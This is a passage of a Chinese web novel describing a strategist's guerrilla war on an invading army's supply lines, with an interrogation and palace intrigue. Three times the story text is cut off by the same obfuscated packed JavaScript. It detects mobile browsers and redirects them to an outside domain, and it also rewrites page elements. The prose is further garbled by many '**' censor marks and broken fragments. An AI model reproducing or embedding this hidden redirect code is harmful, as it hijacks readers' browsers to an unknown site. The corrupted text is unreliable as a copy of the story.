龙一停下脚步,打了个手势。 驯虎营的士兵立刻散开,开始忙碌起来。他们从背囊里掏出各种不起眼的东西。细韧的丝线,削尖的竹片,淬了毒的铁蒺藜。 没有复杂的机关,全是国师口中“上不了台面但足够要命”的阴损玩意儿。 孟天正看着他们熟练地布置着陷阱,在地上挖出一个个不起眼的浅坑,铺上浮土,再插上伪装过的竹签。他感觉自己的牙都在发酸。 这哪里是朝廷的军队。 这分明是一群土匪,不,比土匪还专业。 半个时辰后,一切恢复了原样。仿佛什么都没发生过。 龙一带着人,退到峡谷两侧的高地上,再次躲了起来。 等待是漫长的。 就在监军快要被太阳晒得昏死过去时,地平线上出现了一排黑点。 黑点迅速放大。 是一队骑兵。 清一色的黑色重甲,连战马都披着甲,只露出四蹄和眼睛。他们行动间悄无声息,队形整齐得令人窒息。 为首一人,身材异常魁梧,头盔上有一撮红色的顶缨。 这就是……大秦的军队。 大秦骑兵在谷口停了下来。 为首的百夫长巴图鲁抬起手,身后的一百骑兵瞬间勒马,动作如出一辙。 他那双被头盔阴影笼罩的眼睛,锐利地扫过平静的谷口。 他似乎察觉到了什么。 他没有立刻进谷,而是派出了两名斥候,步行潜入。 所有人的心提到了嗓子眼。 那两名斥候动作矫健,几乎是贴着地面在移动,他们仔细检查着每一寸土地。 一个斥候忽然停下,用手中的短刀轻轻一挑,一根几乎看不见的绊马索被挑了出来。 靠 被发现了! 然而,龙一和他的人,依旧像石头一样,一动不动。 两个斥候一路排除了三四个陷阱,脸上露出了轻蔑的神色。他们对视一眼,向后方的百夫长打了个安全的手势。 巴图鲁这才一挥手。 百人骑兵队,开始缓缓进入峡谷。 就在第一匹战马踏入谷口的瞬间。 异变陡生! 那匹马脚下的土地突然塌陷,但并非深坑。无数根被削得尖锐的木桩从地底猛地弹射而出! “噗嗤!” 战马发出一声凄厉的悲鸣,瞬间被十几根木桩刺穿了腹部,鲜血和内脏喷涌而出。 马上的骑士反应极快,在战马倒下的瞬间一跃而起,但迎接他的,是两侧山壁上铺天盖地射来的**箭! “咻咻咻!” 箭雨笼罩了整个谷口。 “叮叮当当!” 一连串金属碰撞的脆响。 九成的**箭,竟然只是在那黑色的重甲上擦出一串火星,然后无力地弹开! 只有少数几支箭,侥幸射中了甲胄的缝隙。 “敌袭!” 巴图鲁发出一声怒吼,声音沉闷。 大秦士兵没有丝毫慌乱。他们迅速翻身下马,以马尸为掩体,从背后取下了一把从未见过的重**。 那**比大炎的军**要短小,但结构却复杂百倍。他们甚至不需要用脚蹬着上弦,只是一拉一推,一支新的**箭就上了弦。 “开火!” “嗖!” 高地之上,一名驯虎营的士兵连惨叫都没来得及发出,半个脑袋就被一支重箭直接轰碎,红的白的溅了旁边战友一脸。 这**是**?这分明是小型的攻城炮! 更恐怖的还在后面。 十几名大秦士兵从腰间掏出一个个拳头大小的黑色铁球,点燃引线,奋力向前一抛。 “霹雳弹!趴下!”一名驯虎营的小队长声嘶力竭地吼道。 监军吓得魂飞魄散,连滚带爬地缩到一块巨石后面,死死抱住脑袋。 “轰!轰隆!” 震耳欲聋的**声接连响起,整个山谷都在颤抖。碎石和泥土和下雨一样砸下。 驯虎营的阵地上被炸开了好几个大口子,残肢断臂飞得到处都是。**的冲击波和飞溅的铁片,造成了毁灭性的杀伤。 一个照面,驯虎营就伤亡了近二十人。 “操!”龙一的独眼里布满了血丝。 国师的推演,全都应验了。对方的装备,完全是降维打击。 “近战!上!”一名断了条胳膊的小队长,用牙咬着环首刀,带着身边仅剩的七八个兄弟,怒吼着从高地冲了下去。 他们知道,只有贴身肉搏,才能让对方的重**和霹雳弹失去作用。 巴图鲁的嘴角,勾起冷笑。 他身后的士兵,丢掉重**,拔出了腰间的弯刀。 一场**。 那名小队长悍不畏死,一刀劈在一名大秦士兵的脖子上,却只砍出了一溜火花。对方反手一刀,一颗大好头颅冲天而起。 驯虎营的士兵,像麦秆,被轻易地收割着。 完了。 全完了。 这根本不是战争,这是送死。 就在这时,他看到了龙一。 他对着身边的副官,做了一个手势。 副官点点头,带着剩下的一半人,正面冲了下去,为刚才死去的兄弟们报仇。 巴图鲁的注意力,立刻被这群人吸引了。 他没有注意到,龙一带着另外三十多人,已经悄无声息地退到了悬崖的边缘。 他们从背上解下钩索,用力一甩,死死扣住悬崖顶端的岩石缝隙。 “攀。” 龙一拽着绳索,像壁虎一样,贴着近乎垂直的峭壁,向上攀爬。 监军傻了。 他终于明白,刚才那波**式的冲锋,是佯攻! 龙一真正的目标,是绕后突袭,再斩首! 峭壁极滑,稍有不慎就是粉身碎骨。但没有一个人犹豫。 他们迅速爬到了峡谷的另一侧,正好在巴图鲁和他亲卫队的头顶。 钩绳的距离还有限,下降到可以扑杀的程度 龙一看着距离差不多了割断绳索,做了一个下劈的手势。 几十道黑影,如同死神天降,从天而降,扑向毫无防备的大秦指挥部。 “噗!” 龙一的身体重重砸在一名亲卫身上,巨大的冲击力直接撞断了对方的颈骨。他甚至来不及拔刀,直接用手肘狠狠砸向另一人的面门。 巴图鲁的反应堪称恐怖,在第一个亲卫倒下的瞬间,他就地一滚,躲过了致命的偷袭。 但已经晚了。 一场最原始肉搏战,在方寸之间爆发。 没有战阵,没有技巧。 只有刀子捅进肉里的闷响,骨头被砸断的脆响,还有临死前的嘶吼。 一名驯虎营的士兵被弯刀贯穿了胸膛,他在死前死死抱住对方,用牙齿咬断了对方的喉咙。 龙一的目标只有一个。 巴图鲁。 他无视了身边所有的攻击,任凭两把刀砍在他的背上,带出两道深可见骨的伤口。他借着这股力道,直接扑到了巴图鲁面前。 巴图鲁瞳孔一缩,举刀格挡。 龙一却弃了刀,将自己的头狠狠撞向巴图鲁的头盔。 “铛!” 一声巨响。 龙一的额头鲜血直流,但他笑了。 巴图鲁被这野兽般的打法撞得眼冒金星,身体一个踉跄。 就是现在! 龙一手中不知何时多了一把淬了毒的**,闪电般刺进了巴图鲁大腿甲的缝隙。 “啊!” 巴图鲁发出一声痛苦的咆哮,一脚将龙一踹飞出去。 但他站不稳了。 毒素在迅速蔓延。 主帅倒下,大秦士兵的阵脚终于乱了。 剩下的驯虎营士兵,一拥而上。 半刻钟后,峡谷里恢复了平静。 百名大秦士兵,全军覆没。 但驯虎营,也付出了近四十人阵亡的代价。 龙一捂着流血的后背,挣扎着站起来。他走到被五花大绑嘴里塞着破布的巴图鲁面前,居高临下地看着他。 然后,他弯腰,捡起了一把完好的大秦重**。 金属质感,那精巧的连发机括,完美的艺术品。 他又从一具尸体旁,捡起一枚没有**的霹雳弹。 入手沉甸甸的,表面光滑。 监军终于从石头后面挪了出来,双腿打着摆子。 “龙……龙将军,我们……我们胜了……”他的声音抖得不成样子。 龙一没有理他。 他只是低着头,看着手里的那颗黑色铁球,又抬头,看了看远处的焦土。 他的独眼里,没有一丝胜利后的喜悦。 .... 国师府地牢。 玄鸟指挥使手下,将一块烧红的烙铁,从火盆里夹了出来。 嘶啦一声。 皮肉焦糊的味道瞬间充满了整个地牢。 被铁链吊在刑架上的大秦百夫长巴图鲁,身体猛地一颤,却硬是咬着牙,连一声闷哼都没发出来。 他抬起头冲着玄鸟啐出一口带血的唾沫。 “大炎的鹰犬,就这点本事?” 玄鸟面沉如水。 两个时辰了。 玄鸟卫所有能让人生不如死的手段,几乎都在这个男人身上用了一遍。 可他就像一块茅坑里的石头,又臭又硬,撬不开嘴。 旁边的**官笔杆子都快捏断了,记录册上依旧一片空白。 地牢的铁门被推开。 顾云舟走了进来。 他看了一眼血肉模糊的巴图鲁,又看了看玄鸟手里的烙铁,眉头微不可查地皱了一下。 “都出去吧。” 玄鸟一愣,随即躬身领命,带着所有玄鸟卫退了出去,顺手关上了铁门。 地牢里只剩下顾云舟和巴图鲁两人。 巴图鲁轻蔑地打量着这个文弱书生,眼神里的鄙夷不加掩饰。 顾云舟没理他。 他自顾自地走到墙角,那里放着一个木箱。 箱子里,是龙一拼死缴获来的战利品。 他先是拿起那把大秦重**。 “三段式上弦,省力百分之七十。**臂用的是百炼钢掺了某种韧性极强的金属,所以射程和穿透力,都远超我大炎的破甲**。“可惜,为了追求连发,牺牲了精准度。五十步外,箭矢散布太大,华而不实。” 巴图鲁脸上的嘲讽,僵住了。 顾云舟放下重**,又从箱子里拿出一枚黑乎乎的铁疙瘩。 霹雳弹。 他将霹雳弹放在一张石桌上,从袖子里摸出一套小巧的、奇形怪状的工具。 在巴图鲁震惊的目光中,顾云舟开始慢条斯理地拆解这枚**利器。 他的动作很稳,很轻,仿佛不是在拆一颗会**的铁球,而是在解一道有趣的九连环。 巴图鲁人都傻了。 这个书生,是个疯子! 只要稍有不慎,他们两个都会被炸成碎片! “咔哒。” 一声轻响,霹雳弹的外壳被完整地分离开来。 里面是压得极为密实的黑色粉末。 顾云舟用小指捻起一点,放在鼻尖闻了闻。 “硝石,硫磺,还有木炭。”他淡淡地说道,“硝石的比例太高了,超过了七成。所以**威力够大,但燃烧不充分,黑烟太多,容易暴露位置。而且这木炭,用的是松木,杂质太多,影响了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196119|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' **的稳定性。” 他抬起头,第一次正眼看向巴图鲁,嘴角勾起一抹玩味的笑。 “你们的工匠,水平不行啊。” 你...到底是谁。 顾云舟没回答他,转身走到墙边,那里挂着一张巨大的西境地图。 他拿起一支炭笔,看都没看,就在地图上画出了一条曲折的行军路线。 从大秦边境的某个秘密隘口出发,穿过数百里的无人区,直扑铁壁关。 路线精准无比,和他脑子里记下的一模一样。 “你们很谨慎,带了十五天的干粮,沿途的水源点也都提前派人侦查过。 “但你们的补给线,太长了。” 他的炭笔,在地图上重重一点。 “白狼仓。你们后续部队的粮草,都囤积在这里,对吗?” 巴图鲁浑身一震。 白狼仓是他们军团的最高机密,他怎么会知道! “让我猜猜。”顾云舟丢掉炭笔,慢悠悠地走回巴图鲁面前,居高临下地看着他。“大秦皇帝年迈,几个儿子为了皇位争得头破血流。你们的统帅,是二皇子赢无忌吧? 他急于立功,好在朝堂上压过太子一头,所以才不惜血本,让你们这支孤军深入。” 顾云舟俯下身,凑到巴图鲁耳边,用只有他们两人能听到的声音,轻声说: “可你知不知道,你们那位野心勃勃的二皇子,他用来收买南越大将的密信,已经被太子截获了。现在,大秦的朝堂上,**他通敌的奏章,堆得山一样高。” “你觉得,就算你们打下整个西境,他还有机会坐上那个位子吗?” “一个注定失败的夺嫡者,你们为他卖命,值得吗?” 巴图鲁的眼神,从惊骇变成绝望,表情百般不定 他最后的精神支柱,被抽走了。 顾云舟直起身子,脸上又恢复了那种温和的笑意。 “现在,我们可以好好聊聊了。” “告诉我所有我想知道的。作为回报,战争结束后,我不但能保住你的命,还能给你指一条明路,让你在未来的大秦内乱中,站到最后胜利的那一边。” 巴图鲁抬起头,看着眼前这个笑得像个读书人的魔鬼。 他张了张嘴,终于吐出了两个字。 “……我,说。” 半个时辰后。 顾云舟拿着一份写满了字的供状,走出了地牢。 门外,萧青鸾和玄鸟正焦急地等待着。 萧青鸾的寝宫里有一条密道,直通国师府,她几乎是全程旁观了这场审讯。 她看着顾云舟,眼神复杂。 有崇拜,有骄傲,但更多的是担忧。 先生的能力,正在以一种她无法控制的方式,疯狂生长。 顾云舟将供状递给玄鸟。 “按这个审,把所有细节都挖出来。” “是!”玄鸟接过供状,只看了一眼,手就抖了一下。 上面罗列的问题,精准到了大秦军队每一个百人队的编制、军官姓名、性格弱点,甚至连后勤伙夫有几个小姨都问到了。 这哪里是审讯,这是在给大秦军队做一次盒。 顾云舟没再理会她,径直走到书案前,提笔写下了一封新的密令。 “立刻八百里加急,送去西境,交给龙一。” 一名护卫接过蜡丸,转身离去。 萧青鸾忍不住走上前,轻声问道:“先生,您给龙将军……下了什么命令?” 顾云舟放下笔,揉了揉眉心,淡淡一笑。 “没什么。只是让他换个打法。” 他走到那副巨大的沙盘前,随手拨动着代表敌我双方的棋子。 “大秦军队,不能正面硬碰,我们是拿鸡蛋碰石头。但只要是猛虎,就要吃肉,就要喝水。它的后勤补给线,就是它的软肋。” 他的手指,在沙盘上那条蜿蜒漫长的补给线上,轻轻划过。 “我让龙一他们,变成一群草原上的狼,不求杀敌,只求骚扰。” “敌进我退,敌驻我扰,敌疲我打,敌退我追。” “白天烧他们的粮草,晚上冲他们的营地,让他们吃不饱饭,睡不好觉。把他们彻底拖垮在这片三百里里。” 他抬起头,看着萧青鸾。 “他们的粮道,就是我们为他们准备的绞索。 我们只需要慢慢收紧,等着他们窒息就行了。” 萧青鸾看着眼前这个谈笑间搅动天下风云的男人,一种失控感,死死缠住了她的心脏。 这个男人,是她的。 也只能是她的。 当晚,女帝下旨,以国师运筹帷幄、决胜千里之功,犒赏黄金万两,东海明珠百颗,送入国师府。 赏赐的队伍,浩浩荡荡,几乎堵住了半条街。 夜深人静。 顾云舟刚送走前来道贺的苏长青,正准备歇下,寝宫的门却被轻轻推开。 萧青鸾穿着一身素雅的宫装,亲手端着一碗莲子羹,走了进来。 她屏退了所有下人,走到顾云舟面前,柔声道:“先生辛苦了,我亲手为你炖了些安神的羹汤。” “陛下费心了。”顾云舟有些无奈。 萧青鸾将汤碗放下,却没离开。 她伸出纤纤玉手,自然地为顾云舟整理着有些凌乱的衣领,指尖有意无意地划过他的脖颈。 她的动作很轻,很柔,眼神里带着一丝痴迷的眷恋。 “先生今日,又为大炎立下了不世之功。”她凑到他耳边,吐气如兰,声音轻得像梦呓,“朕……该如何赏你才好?” 顾云舟身体一僵。 他闻到了一股熟悉的香气。 凤栖香。 他不动声色地后退了半步,拉开了两人之间过分亲密的距离。 “为陛下分忧,是臣的本分。” 萧青鸾看着他疏离的动作,眼底闪过一丝不易察觉的黯然,但脸上依旧挂着温柔的笑。 她的手,顺着他的衣领,缓缓滑下,最终,停留在了他的心口位置。 “先生,”她轻声说,声音里带着一丝不容拒绝的偏执,“这天下,是朕的。而你,也是朕的。” .... (加快进度ing,写得有点不合理哈,有想法的可以告诉我哈,我去修改一下) 第一百五十一章 打游击 西境焦土。 龙一单膝跪地,掌心的蜡丸已经捏碎。 先生的命令,永远这么简单不讲道理。 他身后,三千驯虎营的汉子默默站在原地寂静无声,fan “都听明白了?”龙一站起身。 “明白!”声音压得很低,却带着狠劲。 “好。”“先生说,让我们像狼一样去打游击。” “现在,解散。” “记住,打完就跑,绝不回头。我们是来恶心死他们的,不是跟他们换的。” “去吧,让大秦的崽子们知道,什么叫**惊喜。” 一声令下,三千人瞬间散开。他们三五成群,消失在沟壑与枯林之中。 随军监军看得目瞪口呆。 这就完了?没有战前动员,没有慷慨陈词,就一句粗鄙的“他m的惊喜”? 这帮人,真的是大炎的军队吗? 他张了张嘴,想说点什么,却发现龙一那只独眼正盯着他。 “大人,先生有令,让你全程跟着我。”龙一的声音没有半点情绪,“你最好跑快点,不然,狼群可不等掉队的羊。” 监军老脸一红,憋了半天,只得提起官袍的下摆跟了上去。 他心中满是荒谬。这算什么兵法?简直是土匪行径! …… 三天后。 大秦后勤主官图格,感觉自己快疯了。 他是个谨慎的人,五十年的军旅生涯,让他比狐狸还狡猾。可在这片三百里的焦土上,他所有的经验都失了效。 脚下是烧成炭的土地,光秃秃的山,头顶是毒辣的太阳。 “报!左翼斥候回报,前方十里,毫无敌踪!” “报!右翼斥得回报,未发现任何异常!” 图格烦躁地挥了挥手。 又是毫无敌踪。 这三天,他派出的斥候比车队里的士兵还多,可回报永远是这四个字。 **静了。 安静得让人发慌。 “将军,将士们已经两天没喝到热水了,马也累得不轻,要不……” “闭嘴!”图格呵斥道,“传令下去,全军加速,天黑前必须穿过去!” 他指着远处那道仿佛被巨斧劈开的山缝,心中那股不安越来越强烈。 不能停,绝对不能停。 车队隆隆,驶入峡谷。 峡谷很窄,两侧是陡峭的石壁,抬头只能看见一线天。 图格的心稍微放下了些。这种地形,不利于大规模伏击。只要快速通过…… 念头还未闪完。 一声巨响,不是从前方传来,而是从车队的最末尾! 图格猛地回头,只见最后一辆装满粮草的马车,整个炸上了天,木屑和燃烧的麦子四散飞溅,彻底堵**退路。 是霹雳弹! “敌袭!!” 凄厉的嘶吼划破了峡谷的寂静。 紧接着,“轰!”又是一声巨,响在车队的最前方。 最前面的几辆车被炸得人仰马翻,同样堵**去路。 一条长龙,被斩断了头尾,困死在这狭窄的囚笼里。 “稳住!结阵!弓箭手准备!”图格拔出佩刀吼着。 可他的士兵们,却像没头的苍蝇一样乱窜。 因为他们找不到敌人。 一个都找不到。 “咻!” 一支冷箭,不知从哪个石缝里钻出来,精准地射穿了一名百夫长的喉咙。 “噗!” 又一支**矢,洞穿了一名工兵的头颅,他正试图清理路障。 恐慌,开始蔓延。 “将军!在上面!他们在山壁上!” 图格猛地抬头。 他什么也没看见。 只看见一块块山岩,一丛丛枯草。 可就在他凝神细看时,一块山岩后面,突然伸出一只手,对着下面扔出个黑乎乎的东西。 是霹雳弹! “轰隆!” **的气浪将图格掀翻在地。 他耳朵嗡嗡作响。 他挣扎着爬起来,看到的却是 马匹在哀鸣,伤兵在惨叫,到处是火,到处是烟。 而攻击,还在继续。 那些该死的箭矢和霹雳弹,就像长了眼睛,专门找他们的军官,找他们的工兵,找他们拉车的马匹。 每一声**,每一支冷箭,都精准的在切割着这支车队。 “反击!给我反击!把他们射下来!”图格疯了一样地咆哮。 无数箭矢射向山壁,却只换来叮叮当当的脆响。 敌人藏得太好了。 他们打完一枪,就缩了回去,换一个地方,再探出头来。 这场战斗,根本不知道怎么赢。 不知过了多久,攻击突然停了。 就像它们突然出现一样,又突然消失了。 整个峡谷没有了任何动静。 只剩下伤员的呻吟和火焰燃烧的噼啪声。 一个时辰后,大秦的主力部队终于赶到。 可他们看到的,只有一片狼藉。 近百辆马车被焚毁,粮草物资烧了大半,最关键的几架攻城巨**,被炸成了碎片。 而敌人,连个影子都没留下。 一名将领气急败坏地吼道:“人呢?那些该死的炎国耗子呢?” 没人能回答。 一个士兵突然指着山壁,发出了惊呼声。 所有人顺着他指的方向看去。 只见光滑的石壁上,写着一行大字。 帝师麾下,恭送大秦西归! 每一个字,都像一记耳光,狠狠抽在所有人的脸上。 图格看着那行字,一口气没上来,喷出一口血,昏死过去。 这仅仅只是一个开始。 在接下来短短三天里。 黑风口的运水队,发现水源被投了毒,数百人上吐下泻,失去了战斗力。 卧龙坡的辎重营,半夜被几十个黑影摸进营地,所有马匹的缰绳都被割断,马惊了,冲垮了半个营地。 鹰愁涧的先锋斥候,在追击几个可疑人影时,被引入了一片沼泽,一百多名精锐,无声无息地陷了进去。 各种各样,闻所未闻的袭击,在长达数百里的补给线上,同时发生。 大秦军队就像一个被蒙住眼睛的巨人,身上被无数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196120|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只看不见的蚊虫叮咬,它愤怒地挥舞着拳头,却连对手的衣角都碰不到。 烦躁,疲惫,恐惧。 这三种情绪,像瘟疫一样,在疯狂蔓延。 主帅赢无忌的营帐里。 图格面如死灰,跪在地上,将一封写好的军报,高高举过头顶。 三天,仅仅三天。 他损失了近三成的粮草,所有的攻城器械,还有上千名经验丰富的工兵和辅兵。 而他连敌人有多少人,都不知道。 赢无忌一把夺过军报,看着上面触目惊心的损失,脸庞有些狰狞。 “废物!一群废物!” “几千只炎国的老鼠,就把你们耍得团团转?” 他一脚将图格踹翻在地,兀自不解气,又上前踩住他的手。 “本皇子给你最后一次机会!再调集三万兵马,把这条补给线给我梳理一遍!就算把地皮给我刮三尺,也要把这些老鼠给我揪出来,碾死!” 图格疼得满头大汗,却不敢反驳。 “殿下……没用的。” “我们根本就抓不住他们的尾巴,太滑了。” ..... 另一边,一处隐秘的山洞里。 监军看着眼前堆积如山的战利品大秦的制式铠甲,锋利的佩刀,还有几箱没来得及引爆的霹雳弹。 他整个人都麻了。 这三天,他跟着龙一的队伍,亲眼见证了这一切。 他看到驯虎营的士兵,能用泥巴和枯草把自己伪装起来,在敌人眼皮子底下潜伏一天一夜。 他看到他们用最简单的陷阱,就能让大秦的斥候人仰马翻。 他看到他们用缴获来的武器,去攻击大秦自己人,打得比谁都狠。 没有章法,没有道义,没有底线。 阴险,狡诈,狠毒。 可偏偏,有效得可怕。 龙一擦拭着自己的佩刀,独眼中闪烁着兴奋的光芒。 “先生这招,真**过瘾!” 他转头看向孟天正,咧嘴一笑,露出一口白牙。 “大人,现在,你还觉得这是土匪行径吗?” 监军张了张嘴,一个字也吐不出来。 他的脑子里,一片混乱。 他读了半辈子的圣贤书,上面写的兵法,都是堂堂正正,千军万马,一决雌雄。 可眼前这一切,彻底颠覆了他的认知。 原来,战争还可以这么打。 原来,胜利可以如此……“卑鄙”。 能想出如此毒辣计策的人,他的心里,到底是怎样一片黑暗? 此时,远在神京的顾云舟,打了个喷嚏。 他放下手中的书卷,揉了揉鼻子。 窗外,萧青鸾正小心翼翼地给他新换的盆栽浇水。 她今天穿了一件鹅黄色的长裙,阳光照在她脸上,让她看起来像个不谙世事的邻家少女。 如果忽略掉她身后,那些站在阴影里,气息森然的凤卫的话.... 绞索已经套上去了。 接下来,只需要一点点耐心,慢慢收紧。 他很期待,那头不可一世的猛虎,被勒时,会发出怎样的声音。 第一百五十二章 猎狼军 西境,大秦中军帅帐。 后勤主官图格跪在地上,整个人瘦了一圈,曾经的精气神被抽得一干二净,眼中布满血丝。 他已经在这里跪了半个时辰,一动不敢动。 帅位上,大秦西征军主帅耶律洪,正死死盯着一份战报。 十天。 整整十天。 他的补给线,遭受了十七次袭击。 “说。”耶律洪的声音很平静,但图格却觉得更加不安。 他知道,这是主帅暴怒的前兆。 “回……回禀主帅。“十日来,我军……我军后勤辅兵,战损一千三百人,伤两千余人。三成粮草被焚毁,所有重型攻城器械,尽数……尽数被毁。” 帅帐内,无一人敢出声 图格不敢抬头。 最可怕的不是损失。 最可怕的是,他们连敌人的主力都没见到。 那些该死的炎国人,像是一群生活在阴沟里的老鼠。 他们**,他们纵火,他们挖陷阱,他们割马腿。 他们用尽了所有能想到的,所有他们想不到的,所有兵书上被斥为下三滥的卑劣手段。 “十七次袭击,你们连一个活口都没抓到?”耶律洪终于开口了。 “抓……抓到过。”图格的头埋得更低了,“可他们……他们被围住就立刻自尽,连审问的机会都没有。” “呵。” 耶律洪发出一声冷笑。 他猛地站起身,将手中的战报狠狠砸在图格的脸上。 纸张划过,在图格脸上留下一道细细的血痕。 他不敢擦。 一张纸在他面前。 上面是驯虎营每次得手后,都会用血写下的八个大字。 帝师麾下,恭送大秦西归! 字迹张狂,仿佛在嘲笑着他们的无能。 “顾云舟!” 耶律洪一字一顿地念出这个名字,牙齿咬得咯咯作响。 “大炎的帝师?一个教人的先生?” “他的人呢!他的军队呢!为什么会用这种土匪的打法!” 他猛地拔出腰间的佩刀,狂吼一声,将面前的紫檀木桌案一刀劈成了两半! 木屑飞溅,帐内的将领们默契低头。 .... 与此同时。 数千里之外的神京,忘忧阁。 顾云舟正拿着一根细长的竹竿,悠闲地拨动着面前巨大的沙盘。 沙盘之上,山川河流,城池关隘,纤毫毕现。 一条由无数黑色小旗组成的长龙,从西境边缘一直延伸到腹地。 而在这条长龙的躯干上,点缀着几十个红色的小点。 萧青鸾就坐在一旁,静静地看着。 她今天没有处理政务,只是换了一身寻常的宫装,安静地陪着他。 “陛下请看。” 顾云舟用竹竿轻轻点了点那条由黑色小旗组成的阵线。 “大秦的军队,就像一条贪食蛇。它看起来很强大,张着血盆大口,想要一口吞下我们。” 他的声音温和在讲解什么有趣的课业。 “但蛇的身体越长,它的破绽就越多。尤其是它的七寸。” 他竹竿一划,沿着那条补给线轻轻划过。 “对付这样的直接去头,它会反咬一口,拼死挣扎。我们也会崩掉几颗牙。” “所以,最好的办法,不是去它的头。” 顾云舟抬起头,看向萧青鸾,微微一笑。 “而是用无数把小刀,一刀一刀,慢慢地割它的肉,放它的血。 萧青鸾的心,没来由地一颤。 明明是同一个人,却让她感觉到割裂的感觉。 捷报每天都会像雪片一样飞进皇宫。 驯虎营又烧了多少粮草。 驯虎营又端掉了哪个哨站。 驯虎营又让多少秦军变成了废人。 朝堂上那些曾经反对的声音,早已消失得无影无踪。取而代之的是无尽吹捧。 她应该高兴的。 大炎的危局,正在被一点点化解。 可她看着顾云舟那双眼睛,听着他用最温柔的语气,说着最残酷的事,愈发感到不安。 她忍不住,轻声问道:“先生,你似乎……很享受这一切?” 顾云舟闻言,手上动作一顿。 他转过头,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196121|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着萧青鸾那双带着不安的眸子,脸上的笑容不变。 他没有回答。 只是那抹笑意,比帐外的阳光还要灿烂。 西境,帅帐。 耶律洪发泄过后,重新坐回了椅子上。 碎裂的桌案还躺在地上,但他已经恢复了冷静。 “传令下去。”他的声音沙哑。 “全军暂停东进。” 帐内将领闻言,皆是一愣。 “主帅,为何?”一名副将忍不住问道,“我们已经快要逼近大炎的腹地了!” “腹地?”耶律洪冷笑一声,“我们的粮草,还能支撑我们走多远?我们的士兵,还有多少力气去攻城?” “连敌人的影子都找不到,就想着吃肉?一群蠢货!” 他骂了一句,帐内再次鸦雀无声。 耶律洪的目光扫过众人,最后落在地图上那片被标记为焦土的区域。 他的手指,在那片区域上重重一点。 “本帅不跟这些老鼠玩捉迷藏了。” 他的眼中,闪过一抹嗜血的光芒。 “既然是老鼠,那就放一群狼进去。” “传我将令!” “从‘披甲军’中,抽调一万精锐,皆配备双马,携带十日干粮。” “由我四弟,耶律猛,亲自率领!” 耶律猛! 听到这个名字,帐内所有将领都不由眼前一亮 如果说主帅耶律洪是草原上的雄狮,那他的四弟耶律猛,就是这里最凶狠最不要命的那个 耶律洪看着众人神情,满意地点了点头。 他要用最利的刀,去砍断那只藏在暗处的手。去掉那些烦人的老鼠。 “这支部队,赐名‘’猎狼军!” “告诉耶律猛,本帅不要俘虏,不要战报,只要人头!” “深入这片焦土,给本帅一寸一寸地犁过去!” “本帅不管他们用什么方法,挖地三尺也好,掘开也罢……” 耶律洪站起身,目光扫过每一个人。 “找到他们,然后,碾碎他们!” (预计下个星期四完结这篇,然后进入现代篇哈) 第一百五十四章 彩蛋 忘忧阁内,暖香袅袅。 萧青鸾站在沙盘边,神情紧绷。 她刚刚在朝堂之上,压下了所有质疑,将整个大炎的命运,都押在了眼前这个男人的身上。 可她心里,还是有点怕。 那未知未来的恐惧。 顾云舟负手而立, 他拿起一根细长的木杆,轻轻敲了敲沙盘上那条狭长的峡谷。 “陛下,请看。” “这场戏,我给它取了个名字,叫《一线天欢迎你》。” 萧青鸾:“……” 这都什么时候了,你还有心情玩梗? 顾云舟浑不在意,他用木杆在沙盘上轻轻划动。 “整出戏,分三幕。” “第一幕,名为‘请君入瓮’。” 他指着一线天峡谷那宽阔的入口,“此地入口宽,腹地长,出口窄,是个天然的口袋。 耶律猛那样的蠢货,自诩勇武,最看不起我们,他看到龙一带着三千步卒就敢在峡谷里扎营,只会觉得我们是吓破了胆,想据险死守。” “所以,他会毫不犹豫地冲进来,想一口吃掉我们。” “而龙一要做的,就是演。” “他会演得惊慌失措,演得屁滚尿流。他会把耶律猛的一万骑兵,一滴不漏地,全都‘请’进这峡谷腹地。” 萧青鸾看着沙盘上代表驯虎营的红色小旗,在代表猎狼军的黑色洪流面前不断后退,最终退到了峡谷的尽头。 她的心也跟着揪紧了。 “那……那第二幕呢?” 顾云舟微微一笑。 他用木杆,在峡谷的入口和出口处,各点了一下。 “第二幕,名为‘关门打狗’。” “我已命人提前在峡谷两侧的山体上,准备了巨石,还有上百桶火油。这些东西,都用焦土和枯草完美地伪装了起来。” “等耶律猛的最后一骑也踏入峡谷……” 他顿了顿,抬眼看向萧青鸾,眸中闪过一丝戏谑。 “陛下,您猜,信号是什么?” 萧青鸾下意识地摇头。 顾云舟笑道:“信号是,龙一会对着天空,放一个最响的屁。” 萧青鸾:“???” 她严重怀疑自己的耳朵出了问题。 “当然,是开个玩笑。”顾云舟脸上的笑容更盛,“信号是冲天而起的狼烟。狼烟一起,入口和出口的巨石火油同时落下,轰隆一声,火墙燃起。” 